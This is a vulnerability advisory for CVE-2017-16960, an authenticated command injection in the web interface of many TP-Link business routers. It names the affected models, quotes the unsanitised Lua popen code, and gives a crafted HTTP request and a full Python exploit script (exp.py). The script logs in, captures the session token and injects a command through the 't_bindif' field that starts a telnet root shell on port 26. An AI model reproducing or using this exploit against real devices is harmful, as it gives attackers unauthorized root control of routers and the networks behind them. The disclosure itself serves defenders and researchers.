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TplinkInterfaceAuthenticatedRCE.txt
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TplinkInterfaceAuthenticatedRCE.txt
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CVE-2017-16960
[Vulnerability]:
Command Injection in interface.lua
------------------------------------------
[Exploitation]:
Can remote command execution on the root shell.
------------------------------------------
[Vendor of Product]:
Tp-Link router
------------------------------------------
[Affected Products and firmware version]:
Tp-Link TL-WVR300 (Only hardware version v4)
Tp-Link TL-WVR302 (only hardware version v2)
Tp-Link TL-WVR450 (ALL the hardware version and firmware version)
Tp-Link TL-WVR450L (ALL the hardware version and firmware version)
Tp-Link TL-WVR450G (Only hardware version v5)
Tp-Link TL-WVR458 (ALL the hardware version and firmware version)
Tp-Link TL-WVR458L (ALL the hardware version and firmware version)
Tp-Link TL-WVR458P (ALL the hardware version and firmware version)
Tp-Link TL-WVR900G (Only hardware version v3)
Tp-Link TL-WVR900L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1300G (ALL the hardware version and firmware version)
Tp-Link TL-WVR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WVR2600L (ALL the hardware version and firmware version)
Tp-Link TL-WVR4300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR302 (ALL the hardware version and firmware version)
Tp-Link TL-WAR450 (ALL the hardware version and firmware version)
Tp-Link TL-WAR450L (ALL the hardware version and firmware version)
Tp-Link TL-WAR458 (ALL the hardware version and firmware version)
Tp-Link TL-WAR458L (ALL the hardware version and firmware version)
Tp-Link TL-WAR900L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WAR2600L (ALL the hardware version and firmware version)
Tp-Link TL-ER3210G (ALL the hardware version and firmware version)
Tp-Link TL-ER3220G (ALL the hardware version and firmware version)
Tp-Link TL-ER5110G (ALL the hardware version and firmware version)
Tp-Link TL-ER5120G (ALL the hardware version and firmware version)
Tp-Link TL-ER5510G (Only hardware version v2,v3)
Tp-Link TL-ER5520G (Only hardware version v2,v3)
Tp-Link TL-ER6110G (ALL the hardware version and firmware version)
Tp-Link TL-ER6120G (Only hardware version v2)
Tp-Link TL-ER6220G (ALL the hardware version and firmware version)
Tp-Link TL-ER6510G (ALL the hardware version and firmware version)
Tp-Link TL-ER6520G (Only hardware version v2,v3)
Tp-Link TL-ER7520G (ALL the hardware version and firmware version)
Tp-Link TL-R473 (only hardware version v5)
Tp-Link TL-R473G (ALL the hardware version and firmware version)
Tp-Link TL-R473P-AC (ALL the hardware version and firmware version)
Tp-Link TL-R473GP-AC (ALL the hardware version and firmware version)
Tp-Link TL-R478 (only hardware version v6)
Tp-Link TL-R478+ (only hardware version v7)
Tp-Link TL-R478G (ALL the hardware version and firmware version)
Tp-Link TL-R478G+ (only hardware version v3)
Tp-Link TL-R479P-AC (ALL the hardware version and firmware version)
Tp-Link TL-R479GP-AC (ALL the hardware version and firmware version)
Tp-Link TL-R479GPE-AC (ALL the hardware version and firmware version)
Tp-Link TL-R483 (only hardware version v5)
Tp-Link TL-R483G (only hardware version v2)
Tp-Link TL-R488 (Only hardware version v5)
Tp-Link TL-R4149G (ALL the hardware version and firmware version)
Tp-Link TL-R4239G (Only hardware version v2)
Tp-Link TL-R4299G (Only hardware version v2)
------------------------------------------
[Attack Type]:
Remote
------------------------------------------
[Reference]:
http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L)
http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.html
http://www.tp-link.com.cn/product_listsmb_2022_9_00_01_02_03.html
http://www.tp-link.com.cn/product_listsmb_2023_7_00_01_02.html
------------------------------------------
[Discoverer]:
Tianfeng Guan, Sichuan Silent Information Technology Co.,Ltd ,http://www.silence.com.cn/
------------------------------------------
[Affected components]:
Affected executable application: uhttpd
Affected source code file: /usr/lib/lua/luci/controller/admin/interface.lua
Affected function: get_device_byif(iface)
------------------------------------------
[Vulnerability details]:
After the web login Authentication, When accessing the interface.lua through the web manager(uhttpd),
we can add a normal network interface by the controller function add_if(http_form).
During this operation, it doesn't limit and check the value of the parameter "t_bindif" in http post data.
And in the interface.lua, it defines the local function get_device_byif(iface) to handle input http post data "t_bindif".
step1. http post to interface.lua and make method=add
step2. --> function add_if(http_form)
step3. --> local function check_section_available(data, op)
step4. --> local function get_device_byif(iface)
local function get_device_byif(iface)
local mycmd = ". /lib/zone/zone_api.sh; zone_get_device_byif " .. iface
ff = io.popen(mycmd, "r")
if not ff then
return false
end
local ll = ff:read("*l")
if not ll then
ff:close()
return false
end
ff:close()
local ret = string.gsub(tostring(ll), "%s.*", "")
return ret
end
So, we can see the local function get_device_byif doesn't have any check and limit to the input parameter,
and it will use the io.popen to execute the shell command which include the value of the parameter "t_bindif" in http post data.
------------------------------------------
[Exploitation details]:
Because access to the interface.lua requires web authentication,so it needs the web login credentials, or a session hijack vulnerability,
or a weak credentials brute force attack to get access permissions for the interface.lua at first.
And then, we can use this Authenticated Remote Command Execution vulnerability to execute any command on the root shell.
For example, we can send a http post request like:
POST /cgi-bin/luci/;stok=13c4cfcd30d630a1c9c10fb328c40937/admin/interface?form=interface HTTP/1.1
Host: 192.168.3.1
Content-Length: 461
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.3.1/webpages/index.html
Accept-Encoding: gzip, deflate
Cookie: sysauth=3a04f851cbf74282abaf9c4a2435ed43
Connection: close
data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22new%22%3A%7B%22t_type%22%3A%22ethernet%22%2C%22proto%22%3A%22static%22%2C%22t_bindif%22%3A%22%3Btelnetd+-p+26+-l+/bin/sh%22%2C%22t_issys%22%3A%220%22%2C%22t_name%22%3A%220%22%2C%22untag%22%3A%220%22%2C%22t_vlanid%22%3A%220%22%2C%22ipaddr%22%3A%220%22%2C%22netmask%22%3A%220%22%2C%22gateway%22%3A%220%22%2C%22mtu%22%3A%220%22%2C%22dns1%22%3A%220%22%2C%22dns2%22%3A%220%22%2C%22macaddr%22%3A%220%22%7D%7D%7D
Finally, this http post request packet will make the router execute the command "telnetd -p 26 -l /bin/sh".
------------------------------------------
[exp.py]:
# Tested product: TL-WVR450L
# Hardware version：V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
import execjs
import requests
import json
import urllib
def read_js():
file = open("./RSA_Encryption_For_Tplink.js", 'r')
line = file.readline()
js = ''
while line:
js = js + line
line = file.readline()
file.close()
return js
def execute(ip, port, username, passwd, cmd):
try:
s = requests.session()
uri = "http://{}:{}".format(ip,port)
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip)
}
payload = {
"method":"get"
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
js = read_js()
js_handle = execjs.compile(js)
password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
payload = {
"method":"login",
"params":{
"username":"{}".format(username),
"password":"{}".format(password)
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
cookie = ret.headers['Set-Cookie']
print '[+] Login success'
print '[+] Get The Token: ' + stok
print '[+] Get The Cookie: ' + cookie
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer':'http://{}/webpages/login.html'.format(ip),
'Cookie':'{}'.format(cookie)
}
payload = {
"method":"add",
"params":{
"new":{
"t_name":"0",
"t_type":"ethernet",
"proto":"static",
"t_bindif":";{}".format(cmd),
"t_issys":"0",
"untag":"0",
"t_vlanid":"0",
"ipaddr":"0",
"netmask":"0",
"gateway":"0",
"mtu":"0",
"dns1":"0",
"dns2":"0",
"macaddr":"0"
}
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/interface?form=interface'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
#print ret.text
print '[+] Finish RCE'
print '-------------------------------------------------------------'
return True
except:
return False
if __name__=='__main__':
print '-----------Tplink LUCI Interface Authenticated RCE-----------'
print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 26 -l /bin/sh')